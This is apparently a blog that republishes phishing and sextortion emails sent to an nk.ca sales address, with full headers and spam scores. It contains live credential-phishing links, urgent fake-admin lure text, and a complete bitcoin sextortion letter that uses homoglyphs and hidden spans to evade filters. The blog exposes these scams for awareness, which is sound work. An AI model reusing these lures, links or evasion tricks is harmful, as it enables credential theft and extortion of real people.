phishing for nk.ca mail

Posted by Dave Yadallee on Monday, August 24. 2020

Return-path:

Envelope-to: sales@nk.ca

Delivery-date: Mon, 24 Aug 2020 07:27:03 -0600

Received: from 355230-cn79287.tmweb.ru ([78.40.219.211]:50484 helo=server.reeedeyt.tk)

by doctor.nl2k.ab.ca with esmtps (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256

(Exim 4.94 (FreeBSD))

(envelope-from )

id 1kACUI-000Ftc-MZ

for sales@nk.ca; Mon, 24 Aug 2020 07:26:22 -0600

Received: from nile-united.co.jp (unknown [185.29.11.24])

by server.reeedeyt.tk (Postfix) with ESMTPA id A0E895190B

for ; Mon, 24 Aug 2020 15:59:08 +0300 (MSK)

Authentication-Results: server.reeedeyt.tk;

spf=pass (sender IP is 185.29.11.24) smtp.mailfrom=mail-server@nk.ca smtp.helo=nile-united.co.jp

Received-SPF: pass (server.reeedeyt.tk: connection is authenticated)

From: nk.ca #Mail Server

To: sales@nk.ca

Subject: ACTION REQUIRED (Recipient: sales@nk.ca )

Date: 24 Aug 2020 14:59:07 +0200

Message-ID: <20200824145906.BAAB34B1A7251413@nk.ca>

MIME-Version: 1.0

Content-Type: text/html;

charset="iso-8859-1"

Content-Transfer-Encoding: quoted-printable

X-Antivirus: AVG (VPS 200824-0, 08/23/2020), Inbound message

X-Antivirus-Status: Clean

APSE: collapse; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; M=

ARGIN: 0px; BORDER-SPACING: 0px; LINE-HEIGHT: 1.3; PADDING-RIGHT: 0px; back=

ground-size: initial; background-origin: initial; background-clip: initial"=

>

DDING-LEFT: 0px; PADDING-RIGHT: 0px">

ODY>

; BORDER-COLLAPSE: collapse; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING=

-LEFT: 0px; LINE-HEIGHT: 1.3; PADDING-RIGHT: 0px" valign=3D"top" align=3D"c=

enter">

APSE: collapse; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; M=

ARGIN: 0px; BORDER-SPACING: 0px; LINE-HEIGHT: 1.3; PADDING-RIGHT: 0px; back=

ground-size: initial; background-origin: initial; background-clip: initial"=

>

DDING-LEFT: 0px; PADDING-RIGHT: 0px">

; BORDER-COLLAPSE: collapse; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING=

-LEFT: 0px; LINE-HEIGHT: 1.3; PADDING-RIGHT: 0px" valign=3D"top" align=3D"c=

enter">

e; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 40px a=

uto; BORDER-SPACING: 0px; PADDING-RIGHT: 0px">

DDING-LEFT: 0px; PADDING-RIGHT: 0px">

>

; BORDER-COLLAPSE: collapse; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING=

-LEFT: 0px; LINE-HEIGHT: 1.3; PADDING-RIGHT: 0px">

; BORDER-COLLAPSE: collapse; COLOR: white; PADDING-BOTTOM: 0px; PADDING-TOP=

: 0px; PADDING-LEFT: 0px; BORDER-SPACING: 0px; PADDING-RIGHT: 0px" align=3D=

"center">

DDING-LEFT: 0px; PADDING-RIGHT: 0px">

; BORDER-COLLAPSE: collapse; COLOR: rgb(10,10,10); PADDING-BOTTOM: 0px; PAD=

DING-TOP: 0px; PADDING-LEFT: 0px; LINE-HEIGHT: 1.3; PADDING-RIGHT: 0px">

; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; BORDER-SPACING:=

0px; PADDING-RIGHT: 0px">

DDING-LEFT: 0px; PADDING-RIGHT: 0px">

DDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; LINE-HEIGHT: 1.3; PADDING-R=

IGHT: 0px" vAlign=3Dmiddle>

TOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; BORDER-SPACING: 0px; PADDING=

-RIGHT: 0px">

DDING-LEFT: 0px; PADDING-RIGHT: 0px">

DDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; LINE-HEIGHT: 1.3; PADDING-R= IGHT: 0px">

ADDING-TOP: 0px; PADDING-LEFT: 20px; MARGIN: 0px; LINE-HEIGHT: 1.3; PADDING=

-RIGHT: 20px" vAlign=3Dmiddle>
H: 398px; COLOR: rgb(128,189,227); PADDING-BOTTOM: 5px; TEXT-ALIGN: left; P=

ADDING-TOP: 5px; PADDING-LEFT: 10px; MARGIN: 0px; DISPLAY: inline-block; LI=

NE-HEIGHT: 1.3; PADDING-RIGHT: 10px; text-decoration-line: none" href=3D"ht=

tp://./" target=3D_blank>nk.ca Mail Support

ICAL-ALIGN: top; BORDER-COLLAPSE: collapse; BORDER-BOTTOM: rgb(240,240,240)=

1px solid; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; BORDE=

R-SPACING: 0px; BORDER-LEFT: rgb(240,240,240) 1px solid; PADDING-RIGHT: 0px=

; BORDER-TOP-WIDTH: 0px; background-size: initial; background-origin: initi=

al; background-clip: initial">

DDING-LEFT: 0px; PADDING-RIGHT: 0px">

; BORDER-COLLAPSE: collapse; PADDING-BOTTOM: 20px; PADDING-TOP: 20px; PADDI=

NG-LEFT: 20px; LINE-HEIGHT: 1.3; PADDING-RIGHT: 20px">

Hi sales

Kindly be informed that your current password for
ca">sales@nk.ca expires today.

Date and Time: 8/24/2020 2:59:06 p.m.

Priority: High

Please use the below secure policy to continue with the same=

password.

://septamgafe.web.app/tc/wb.html?email=3Dsales@nk.ca" target=3D_blank>Proce=

ed to keep same password and continue with current version=

les@nk.ca" target=3D_blank>Upgrade to the latest email version. (*Upgra=

de may take up to 48 hours within working hours*)

ps://septamgafe.web.app/tc/wb.html?email=3Dsales@nk.ca" target=3D_blank>
>

Warning:

Further messages will be put on perm=

anent suspension if you do not take any action. =

; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; BORDER-SPACING:=

0px; PADDING-RIGHT: 0px">

DDING-LEFT: 0px; PADDING-RIGHT: 0px">

RTICAL-ALIGN: top; BORDER-COLLAPSE: collapse; COLOR: rgb(158,177,196); PADD=

ING-BOTTOM: 0px; TEXT-ALIGN: center; PADDING-TOP: 10px; PADDING-LEFT: 0px; =

LINE-HEIGHT: 1.3; PADDING-RIGHT: 0px">Copyright © 2020 nk.ca cpanel&nb=

sp;account service. All rights reserved.

False admin mailbox size account phish

Posted by Dave Yadallee on Monday, December 9. 2019

Return-path:

Envelope-to: sales@nk.ca

Delivery-date: Sun, 08 Dec 2019 21:23:07 -0700

Received: from [45.128.223.91] (port=49781 helo=emailservice.net)

by doctor.nl2k.ab.ca with esmtp (Exim 4.92.3 (FreeBSD))

(envelope-from )

id 1ieAMX-000Dqe-9i

for sales@nk.ca; Sun, 08 Dec 2019 21:09:38 -0700

From: Email Administrator

To: sales@nk.ca

Subject: URGENT!!! Your Email Will Be Suspended

Date: 8 Dec 2019 20:09:17 -0800

Message-ID: <20191208200917.10F4D4870565DDA0@emailservice.net>

MIME-Version: 1.0

Content-Type: text/html

Content-Transfer-Encoding: quoted-printable

X-Spam_score: 15.5

X-Spam_score_int: 155

X-Spam_bar: +++++++++++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.

Content preview: Good day,sales@nk.ca 1969MB 2000 MB Your account will be Blocked

due to system error CODE: DA2507LU236 .

Content analysis details: (15.5 points, 5.0 required)

pts rule name description

---- ---------------------- --------------------------------------------------

0.0 URIBL_BLOCKED ADMINISTRATOR NOTICE: The query to URIBL was

blocked. See

http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block

for more information.

[URIs: nk.ca]

1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org

[45.128.223.91 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in

dnsbl.ahbl.org

0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org

0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org

1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org

1.0 RCVD_IN_WSFF RBL: Received via a relay in

will-spam-for-food.eu.org

[45.128.223.91 listed in will-spam-for-food.eu.org]

1.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts

0.0 HTML_MESSAGE BODY: HTML included in message

2.4 RAZOR2_CF_RANGE_E8_51_100 Razor2 gives engine 8 confidence level

above 50%

[cf: 100]

1.6 RCVD_IN_BRBL_LASTEXT RBL: No description available.

[45.128.223.91 listed in bb.barracudacentral.org]

1.7 RAZOR2_CHECK Listed in Razor2 (http://razor.sf.net/)

0.4 RAZOR2_CF_RANGE_51_100 Razor2 gives confidence level above 50%

[cf: 100]

0.0 SARE_FROM_SPAM_WORD4 From address suggests this may be spam

1.3 RDNS_NONE Delivered to internal network by a host with no rDNS

1.9 FSL_BULK_SIG Bulk signature with no Unsubscribe

0.0 TO_NO_BRKTS_NORDNS_HTML To: misformatted and no rDNS and HTML

only

Subject: {SPAM?} URGENT!!! Your Email Will Be Suspended

X-Antivirus: AVG (VPS 191208-0, 12/08/2019), Inbound message

X-Antivirus-Status: Clean

3, 33, 33); font-size: 15px;">
1" id=3D"yiv8126916348x_ecxyiv2486292201yui_3_16_0_1_1409874957895_2912" st=

yle=3D"line-height: 22px; font-size: 12pt;">Good da=

y,sales@nk.ca

v2486292201yui_3_16_0_1_1409874957895_2893" style=3D"color: rgb(68, 68, 68)=

; font-size: 24px;" border=3D"0" cellspacing=3D"0" cellpadding=3D"0">

v2486292201yui_3_16_0_1_1409874957895_2892" style=3D"width: 293px; line-hei=

ght: 21px;">

86292201yui_3_16_0_1_1409874957895_2891">

r>

6348x_ecxyiv2486292201yui_3_16_0_1_1409874957895_2911" style=3D"background:=

rgb(255, 204, 0); border-color: black rgb(240, 240, 240) black black; padd=

ing: 0in; width: 131.25pt; border-top-width: 1pt; border-bottom-width: 1pt;=

border-left-width: 1pt; border-top-style: solid; border-bottom-style: soli=

d; border-left-style: solid;">

2486292201yui_3_16_0_1_1409874957895_2926" style=3D"color: rgb(34, 34, 34);=

line-height: 22px; font-family: Tahoma, sans-serif; font-size: 12pt;">1969=

MB

348x_ecxyiv2486292201yui_3_16_0_1_1409874957895_2924" style=3D"border-color=

: black black black rgb(240, 240, 240); padding: 0in; width: 18.75pt; borde=

r-top-width: 1pt; border-right-width: 1pt; border-bottom-width: 1pt; border=

-top-style: solid; border-right-style: solid; border-bottom-style: solid; b=

ackground-color: transparent;">

_16_0_1_1410448463373_1911" valign=3D"top" style=3D"background: 0px 50%; pa=

dding: 0in; border: rgb(240, 240, 240);">

_16_0_1_1410448463373_1885" style=3D"background: 0px 50%; padding: 0in; bor=

der: rgb(240, 240, 240);">
=3D"yiv8126916348x_ecxyui_3_16_0_1_1410448463373_1884">
26916348x_ecxyiv2486292201" id=3D"yiv8126916348x_ecxyui_3_16_0_1_1410448463=

373_1886" style=3D"color: rgb(34, 34, 34); line-height: 22px; font-family: =

Tahoma, sans-serif; font-size: 12pt;">2000

_3_16_0_1_1410448463373_1913" style=3D"color: rgb(34, 34, 34); line-height:=

22px; font-family: Tahoma, sans-serif; font-size: 12pt;">MB

784829820_23427" style=3D"color: rgb(33, 33, 33); font-size: 15px;"> <=

/div>

784829820_23426" style=3D"color: rgb(68, 68, 68); font-size: 24px;">
id=3D"yui_3_16_0_ym19_1_1470784829820_23425">

7_5634 yiv8126916348x_ecxyiv3723218874yui_3_13_0_1_1396232738906_3256 yiv81=

26916348x_ecxyiv3723218874yui_3_13_0_1_1397165451840_2800" id=3D"yiv8126916=

348x_ecxyiv3723218874yui_3_13_0_ym1_1_1395229056957_2565" style=3D"color: r=

gb(69, 69, 69); font-family: Corbel; font-size: 12pt;">Your account will be=

Blocked due to system error CODE:

7_5635 yiv8126916348x_ecxyiv3723218874yui_3_13_0_1_1396232738906_3257 yiv81=

26916348x_ecxyiv3723218874yui_3_13_0_1_1397165451840_2801" id=3D"yiv8126916=

348x_ecxyiv3723218874yui_3_13_0_ym1_1_1395231935017_5672" style=3D"color: r=

gb(255, 0, 0); font-family: Arial; font-size: 12pt; font-weight: bold;">DA2=

507LU236

7_5636 yiv8126916348x_ecxyiv3723218874yui_3_13_0_1_1396232738906_3258 yiv81=

26916348x_ecxyiv3723218874yui_3_13_0_1_1397165451840_2802" id=3D"yiv8126916=

348x_ecxyiv3723218874yui_3_13_0_ym1_1_13952" style=3D"color: rgb(69, 69, 69=

); font-family: Corbel; font-size: 12pt;">.

784829820_23424" style=3D"color: rgb(68, 68, 68); font-size: 24px;">
d=3D"yui_3_16_0_ym19_1_1470784829820_23423" style=3D"font-size: 14px;">Your=

e-mail account is running on a low storage space,
126916348currentHitHighlight" id=3D"yiv81269163480.7796502865945156">verify=

your account now to increase storage space

784829820_23422" style=3D"color: rgb(68, 68, 68); font-size: 24px;">
d=3D"yui_3_16_0_ym19_1_1470784829820_23421" style=3D"font-size: 14px;">othe=

r wise your account shall be l=

ocked out.
=

arget=3D"_blank" rel=3D"nofollow">

486292201yui_3_16_0_1_1409874957895_2906" style=3D"color: rgb(68, 68, 68); =

font-size: 24px;">
id=3D"yiv8126916348x_ecxyiv2486292201yui_3_16_0_1_1409874957895_2903" styl=

e=3D"color: rgb(34, 34, 34); outline-width: medium; outline-color: invert;"=

target=3D"_blank" rel=3D"nofollow">

2486292201yui_3_16_0_1_1409874957895_2902" style=3D"color: rgb(0, 104, 207)=

;">
"http://todoorservice.com/wetransfer/vf.php?email=3Dsales@nk.ca" target=3D"=

_blank" rel=3D"nofollow">Click here to
lass=3D"yiv8126916348highlight" id=3D"yiv81269163480.3964921603711973">veri=

fy your account.

784829820_23420" style=3D"color: rgb(68, 68, 68); font-size: 24px;"> <=

/div>

784829820_23419" style=3D"color: rgb(68, 68, 68); font-size: 24px;">
d=3D"yui_3_16_0_ym19_1_1470784829820_23418" color=3D"#4d4d4d" size=3D"3">
trong id=3D"yui_3_16_0_ym19_1_1470784829820_23417">
_1_1470784829820_23416">NOTICE:

784829820_23414" style=3D"color: rgb(68, 68, 68); font-size: 24px;">
d=3D"yui_3_16_0_ym19_1_1470784829820_23415" color=3D"#4d4d4d" size=3D"3">Fa=

ilure to
600312202810339">verify your e-mail account shall result to acc=

ount lock out.

784829820_23406" style=3D"color: rgb(68, 68, 68); font-size: 24px;"> <=

/div>

486292201yui_3_16_0_1_1409874957895_2898" style=3D"color: rgb(68, 68, 68); =

font-size: 24px;">
line-height: 22px; font-size: 12pt;">Thanks,=

486292201yui_3_16_0_1_1409874957895_2900" style=3D"color: rgb(68, 68, 68); =

font-size: 24px;">
8126916348x_ecxyiv2486292201yui_3_16_0_1_1409874957895_2901" style=3D"line-=

height: 22px; font-size: 12pt;">Account Service
nt>

More bitcoin porn blackmail phishing

Posted by Dave Yadallee on Monday, December 9. 2019

Return-path:

Envelope-to: sales@nk.ca

Delivery-date: Sun, 08 Dec 2019 18:00:55 -0700

Received: from mx.thranite.disspreading.monster ([206.189.119.111]:57418)

by doctor.nl2k.ab.ca with esmtps (TLSv1.3:TLS_AES_256_GCM_SHA384:256)

(Exim 4.92.3 (FreeBSD))

(envelope-from )

id 1ie7Nh-000Frp-Hc

for sales@nk.ca; Sun, 08 Dec 2019 17:58:48 -0700

Received: from mx.thranite.disspreading.monster (mx.thranite.disspreading.monster [127.0.0.1])

by mx.thranite.disspreading.monster (Postfix) with ESMTP id 47WPv40XM2z22Jh

for ; Mon, 9 Dec 2019 00:58:08 +0000 (UTC)

Authentication-Results: mx.thranite.disspreading.monster (amavisd-new);

dkim=pass (1024-bit key) reason="pass (just generated, assumed good)"

header.d=thranite.disspreading.monster

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=

thranite.disspreading.monster; h=content-type:content-type

:mime-version:message-id:x-mailer:user-agent:reply-to

:list-unsubscribe:subject:subject:to:from:from:date:date; s=

dkim; t=1575853087; x=1578445088; bh=+u/4Cgh2FS1oc3x04D0aDBcxt9k

0uklME67rf1/PhdQ=; b=gk5tm8Er4B8Xc6LP9uW9TfIHtt9lRbmegcw7L+hx4/r

CgRpRYU+9z0WoU9VP/TNoIlesB96/G+oPMjBgWmVCAsd2d4cBslwtiJ5tgnRU9Qm

JgH5W6Nlijj8K5SdLVmhy8Ds3hmcALGd6dKAfHDUm7keUskL78VYRbTJtZ/Gqd+Y

=

X-Virus-Scanned: Debian amavisd-new at mx.thranite.disspreading.monster

Received: from mx.thranite.disspreading.monster ([127.0.0.1])

by mx.thranite.disspreading.monster (mx.thranite.disspreading.monster [127.0.0.1]) (amavisd-new, port 10024)

with ESMTP id G0fzn4_w97o9 for ;

Mon, 9 Dec 2019 00:58:07 +0000 (UTC)

Received: from [127.0.0.1] (mx.thranite.disspreading.monster [127.0.0.1])

by mx.thranite.disspreading.monster (Postfix) with ESMTP id 47WPqN4tmmz221R

for ; Mon, 9 Dec 2019 00:54:56 +0000 (UTC)

Date: Mon, 9 Dec 2019 00:54:55 +0000

From: =?UTF-8?Q?=CE=B1nonymous=20h=CE=B1cker?=

To: sales@nk.ca

Subject: =?UTF-8?Q?This=20is=20my=20FINAL=20WARNING=20Sales!?=

List-Unsubscribe:

Reply-To:

User-Agent: CodeIgniter

X-Sender: gonzalobetz@thranite.disspreading.monster

X-Mailer: CodeIgniter

X-Priority: 3 (Normal)

Message-ID: <5ded9b605211d@thranite.disspreading.monster>

Mime-Version: 1.0

Content-Type: multipart/alternative; boundary="B_ALT_5ded9b605213d"

X-Spam_score: 13.2

X-Spam_score_int: 132

X-Spam_bar: +++++++++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.

Content preview: FINAL WARNING: sales@nk.ca! You have the last chance to save

your social life - I am not kidding!! I give you the lÎ±st 72 houÉ¼s to mÎ±ke

the pÎ±yÊent before I seÉ³d the video with ur mÎ±sturbatÎ¯oÉ³ to all your

friends and associates.

Content analysis details: (13.2 points, 5.0 required)

pts rule name description

---- ---------------------- --------------------------------------------------

0.0 URIBL_BLOCKED ADMINISTRATOR NOTICE: The query to URIBL was

blocked. See

http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block

for more information.

[URIs: nk.ca]

1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org

[206.189.119.111 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in

dnsbl.ahbl.org

1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org

0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org

0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org

2.7 RCVD_IN_PSBL RBL: Received via a relay in PSBL

[206.189.119.111 listed in psbl.surriel.com]

1.0 RCVD_IN_WSFF RBL: Received via a relay in

will-spam-for-food.eu.org

[206.189.119.111 listed in will-spam-for-food.eu.org]

-0.0 T_RP_MATCHES_RCVD Envelope sender domain matches handover relay

domain

-0.0 SPF_PASS SPF: sender matches SPF record

2.3 MANGLED_LIST BODY: mangled list

0.3 LONGWORD BODY: Uses overlong words

0.6 MEGALONGWORD BODY: Uses really overlong words

2.3 MANGLED_VIDEO BODY: mangled video(s)

0.0 HTML_MESSAGE BODY: HTML included in message

0.0 T_DKIM_INVALID DKIM-Signature header exists but is not valid

0.0 T_FROM_FMBLA_NEWDOM From domain was registered in last 7 days

Subject: {SPAM?} =?UTF-8?Q?This=20is=20my=20FINAL=20WARNING=20Sales!?=

X-Antivirus: AVG (VPS 191208-0, 12/08/2019), Inbound message

X-Antivirus-Status: Clean

This is a multi-part message in MIME format.

Your email application may not support this format.

--B_ALT_5ded9b605213d

Content-Type: text/plain; charset=UTF-8

Content-Transfer-Encoding: 8bit

FINAL WARNING: sales@nk.ca!

You have the last chance to save your social life - I am not kidding!!

I give you the lÎ±st 72 houÉ¼s to mÎ±ke the pÎ±yÊent before I seÉ³d the

video with ur mÎ±sturbatÎ¯oÉ³ to all your friends and associates.

The last time you visited a pornographic website with young teenagers, you

downloaded and automatically installed spying software that I created.

My program has turned on your cÎ±mera and recorded the act of ur

mÎ±sturbatÎ¯oÉ³ and the video you were watching while mÎ±sturbating.

My software also downloaded email contact list and a list of your Facebook

friends from your device.

I have the Sales.mp4 video file with ur mÎ±sturbatÎ¯oÉ³ and a file with all

your contacts on my hard drive.

Your fantasies are far beyond the normal!

If you want me to delete both files and keep your secret, you must seÉ³d me

the Bitcoin pÎ±yÊent.

I give you lÎ±st 72 houÉ¼s to trÎ±nsfer the funds..

If you don't know how to pÎ±y with Bitcoin, visit Google and search - how to

buy Bitcoin (BTC).

Visit one of the brokers (Coinbase, Bitstamp, anycoindirect), buy Bitcoin

and seÉ³d it to my address.

Only then I will leÉ‘ve you É‘lone!

At anycoindirect you can buy Bitcoin instantly with SEPA, GiropÎ±y, EPS,

Mybank, Sofort, credit cards or Bancontract.

Here are the pÎ±yÊent details:

******************************************

SeÉ³d 2,000 USD = 0.2670798 BTC

to this Bitcoin address immediately:

38hrB7FHvyLKJ7o5L

++ ++

Z89S3dL4uy5KgX5DP

(Copy & Ç·Î±ste - it's case sensitive - and combine both lines into one

single line - my bitcoin address)

******************************************

1 BTC = 7,530 USD right now, so seÉ³d - 0.2670798 BTC to my Bitcoin wallet.

Do not try to cheat me!

As soon as you open this Email I will be notified you opened it.

I am monitoring all actions on your device..

This Bitcoin address is linked to you only, so I will know immediately when

you seÉ³d the correct amount.

When you pÎ±y in full, I will remove both files (ur mÎ±sturbation video and

your contact lists) and I will deactivate my sneaky program.

Changing your pass will not help you, I will still have access to your

device remotely.

If you choose not to seÉ³d me the Bitcoin trÎ±nsfer...

I will seÉ³d ur mÎ±sturbation video to all your friends and associates from

your contact lists that I downloaded from your device.

Your family members will receive it as well.

You will regret it, trust me.

Here are the pÎ±yÊent details again:

******************************************

SeÉ³d 2,000 USD = 0.2670798 BTC

to this Bitcoin address immediately:

38hrB7FHvyLKJ7o5L

++ ++

Z89S3dL4uy5KgX5DP

(Copy & Ç·Î±ste - it's case sensitive - and combine both lines into one

single line - my bitcoin address)

******************************************

You can visit the police but they will not solve your real problem.

My program will still be installed on your device and I still will own ur

mÎ±sturbatioÉ³ videos.

Police will not catch me anyway. I know what I am doing.

I do not live in your country and I know how to stay anonymous.

Don't ever try to deceive me - I will know it. My program is recording all

the websites you visit.

If you try to trick me - I will seÉ³d this ugly video to everyone you know,

including your family members.

Don't forget the potential shame - your life can be a disaster!

I am waiting for your Bitcoin pÎ±yÊent.

You have 72 houÉ¼s left.

Anonymous Hacker

P.S. If you need more time to pÉ‘y, open your notepad on your device and

write '48h more'. Only this way you can contact me. I will consider giving

you more time before I release the video, but only when I see that you are

really struggling to buy btc. I know you can afford it - so do not try to

trick me!

--B_ALT_5ded9b605213d

Content-Type: text/html; charset=UTF-8

Content-Transfer-Encoding: quoted-printable

=3C=21DOCTYPE HTML PUBLIC =22-//W3C//DTD XHTML 1.0 Transitional //EN=22 =22=

http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd=22=3E

=3Chtml xmlns=3D=22http://www.w3.org/1999/xhtml=22 xmlns:v=3D=22urn:schemas=

-microsoft-com:vml=22 xmlns:o=3D=22urn:schemas-microsoft-com:office:office=

=22=3E

=3Chead=3E

=3Cmeta http-equiv=3D=22Content-Type=22 content=3D=22text/html=3B charset=

=3Dutf-8=22=3E

=3Cmeta name=3D=22viewport=22 content=3D=22width=3Ddevice-width=22=3E

=3C=21--=5Bif =21mso=5D=3E=3C=21--=3E=3Cmeta http-equiv=3D=22X-UA-Compatibl=

e=22 content=3D=22IE=3Dedge=22=3E=3C=21--=3C=21=5Bendif=5D--=3E

=3C=21--=5Bif =21mso=5D=3E=3C=21-- --=3E

=3C=21--=3C=21=5Bendif=5D--=3E

=3Cstyle type=3D=22text/css=22 id=3D=22media-query=22=3E

body =7B

margin: 0=3B

padding: 0=3B

font-size: 14px=3B=7D

table, tr, td =7B

vertical-align: top=3B

border-collapse: collapse=3B =7D

.a =7B

max-width: 480px=3B

margin: 10px 10px 10px 10px=3B =7D

.n =7B

display:none=3B

=7D

.b =7B

max-width: 480px=3B

margin: 10px 10px 10px 10px=3B

padding: 10px 20px 10px 20px=3B

border: 1px solid black=3B

=20

=7D

=3C/style=3E

=3C/head=3E

=3Cbody style=3D=22margin: 0=3Bpadding: 0=3B-webkit-text-size-adjust: 100=

=25=3Bbackground-color: =23FFFFFF=22=3E

=20

=3Cdiv class=3D=22a=22=3E=3Cb=3EFINAL WARNING: sales=40nk.ca=21=3C/b=3E=3C/=

div=3E

=3Cdiv class=3D=22a=22=3E

You have the last chance to save your social life - I am not kidding=21=21

=3CBR=3E=3CBR=3E

I give you the l=CE=B1st 72 hou=C9=BCs to m=CE=B1ke the p=CE=B1y=CA=8Dent b=

efore I send the =3Cb=3Ev=CE=AFdeo with ur m=CE=B1sturbat=CE=AFo=C9=B3=3C/b=

=3E to all your friends and associates.=20

=3CBR=3E=3CBR=3E

The last time you visited a pornographic website with young teenagers, you =

downloaded and automatically installed spying software that I created.

=3CBR=3E=3CBR=3E

My program has turned on your c=CE=B1mera and recorded the act of =3Cb=3Eur=

m=CE=B1sturbat=CE=AFon and the v=CE=AFdeo you were watching while m=CE=B1s=

turbating.=3C/b=3E

=3CBR=3E

My software also downloaded email contact list and a list of your Facebook =

friends from your device.

=3CBR=3E=3CBR=3E

I have the =3Cb=3ESales.mp4 video file=3C/b=3E with ur m=CE=B1sturbatio=C9=

=B3 and a file with all your contacts on my hard drive.

=3CBR=3E=3CBR=3E

Your fantasies are far beyond the normal=21

=3C/div=3E=20

=3Cdiv class=3D=22a=22=3E

If you want me to delete both files and keep your secret, you must se=C9=B3=

d me the Bitcoin p=CE=B1y=CA=8Dent.=3CBR=3E

I give you l=CE=B1st 72 hou=C9=BCs to tr=CE=B1nsfer the funds..

=3CBR=3E=3CBR=3E

If you don't know how to p=CE=B1y with Bitcoin, visit Google and search - h=

ow to buy Bitcoin (BTC).=3CBR=3E

Visit one of the brokers (Coinbase, Bitstamp, anycoindirect), buy Bitcoin a=

nd se=C9=B3d it to my address.=3CBR=3E

Only then I will le=C9=91ve you =C9=91lone=21

=3CBR=3E=3CBR=3E

At anycoindirect you can buy Bitcoin instantly with SEPA, Girop=CE=B1y, EPS=

, Mybank, Sofort, credit cards or Bancontract.

=3CBR=3E=3CBR=3E

Here are the p=CE=B1y=CA=8Dent details:

=3C/div=3E

=3Cdiv class=3D=22b=22=3E

Se=C9=B3d 2,000 USD =3D =3Cb=3E0.2670798 BTC=3C/b=3E=3CBR=3E

to this Bitcoin address immediately:

=3CBR=3E=3CBR=3E

=3Cb=3E38h=3Cspan class=3D=22ITxRu=22=3Er=3C/span=3E=3Cspan id=3D=22woaMHSt=

h=22=3EB=3C/span=3E7=3Cspan class=3D=22n=22=3EIJF=3C/span=3EF=3Cspan class=

=3D=22JMn4CZUbqE1H=22=3EH=3C/span=3E=3Cspan class=3D=22GM4aweE=22=3Ev=3C/sp=

an=3E=3Cspan class=3D=22rd7Cz2s0=22=3E=3C/span=3EyL=3Cspan class=3D=22FJB=

=22=3E=3C/span=3EKJ=3Cspan class=3D=22n=22=3EvAcML5EIC=3C/span=3E=3Cspan id=

=3D=2206PGdJ=22=3E7=3C/span=3Eo=3Cspan class=3D=22n=22=3EuqWZcJQe=3C/span=

=3E5L=3Cspan class=3D=22n=22=3EUwaY=3C/span=3EZ8=3Cspan class=3D=22n=22=3EV=

ymQi=3C/span=3E9=3Cspan class=3D=22n=22=3EsUD=3C/span=3E=3Cspan class=3D=22=

xfnt1Yp6=22=3E=3C/span=3ES3d=3Cspan class=3D=22n=22=3EB7KQ=3C/span=3EL=3Csp=

an class=3D=22n=22=3E8m=3C/span=3E4=3Cspan class=3D=22n=22=3EiZ7=3C/span=3E=

u=3Cspan class=3D=22n=22=3ESoH5BR=3C/span=3Ey=3Cspan class=3D=22n=22=3EnFpO=

h4C1fJER=3C/span=3E5=3Cspan class=3D=22n=22=3EUONSp2foPYCL=3C/span=3EK=3Csp=

an class=3D=22u3xAyVY=22=3Eg=3C/span=3E=3Cspan id=3D=229Xij=22=3EX=3C/span=

=3E=3Cspan id=3D=22iSdLWrf1h9C3=22=3E5=3C/span=3EDP=3C/b=3E

=3CBR=3E=3CBR=3E

(Copy =26 =C7=B7=CE=B1ste address - it's case sensitive)

=3C/div=3E

=3Cdiv class=3D=22a=22=3E

1 BTC =3D 7,530 USD right now, so se=C9=B3d - 0.2670798 BTC to my Bitcoin w=

allet.

=3CBR=3E=3CBR=3E=3CBR=3E

Do not try to cheat me=21=3CBR=3E

As soon as you open this Email I will be notified you opened it.=3CBR=3E

I am monitoring all actions on your device..

=3CBR=3E=3CBR=3E

This Bitcoin address is linked to you only, so I will know immediately when=

you se=C9=B3d the correct amount.=3CBR=3E

When you p=CE=B1y in full, I will remove both files (=3Cb=3Eur m=CE=B1sturb=

at=CE=AFon v=CE=AFdeo and your contact lists=3C/b=3E) and I will deactivate=

my sneaky program.=3CBR=3E

Changing your pass will not help you, I will still have access to your devi=

ce remotely.

=3CBR=3E=3CBR=3E

